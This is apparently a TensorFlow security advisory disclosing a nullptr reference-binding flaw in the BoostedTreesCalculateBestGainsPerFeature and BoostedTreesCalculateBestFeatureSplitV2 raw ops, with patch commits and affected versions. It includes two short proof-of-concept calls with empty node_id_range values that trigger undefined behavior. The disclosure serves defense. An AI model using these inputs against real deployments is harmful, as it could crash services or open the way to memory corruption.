Reference binding to nullptr in boosted trees

Impact

An attacker can generate undefined behavior via a reference binding to nullptr in BoostedTreesCalculateBestGainsPerFeature:

import tensorflow as tf

tf.raw_ops.BoostedTreesCalculateBestGainsPerFeature(
  node_id_range=[],
  stats_summary_list=[[1,2,3]],
  l1=[1.0],
  l2=[1.0],
  tree_complexity =[1.0],
  min_node_weight =[1.17],
  max_splits=5)

A similar attack can occur in BoostedTreesCalculateBestFeatureSplitV2:

import tensorflow as tf
                                                                                                                                                                                                                                                                                          
tf.raw_ops.BoostedTreesCalculateBestFeatureSplitV2(
  node_id_range=[],
  stats_summaries_list=[[1,2,3]],
  split_types=[''],
  candidate_feature_ids=[1,2,3,4],
  l1=[1],     
  l2=[1],
  tree_complexity=[1.0],
  min_node_weight=[1.17],
  logits_dimension=5)

The implementation does not validate the input values.

Patches

We have patched the issue in GitHub commit 9c87c32c710d0b5b53dc6fd3bfde4046e1f7a5ad and in commit. 429f009d2b2c09028647dd4bb7b3f6f414bbaad7.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.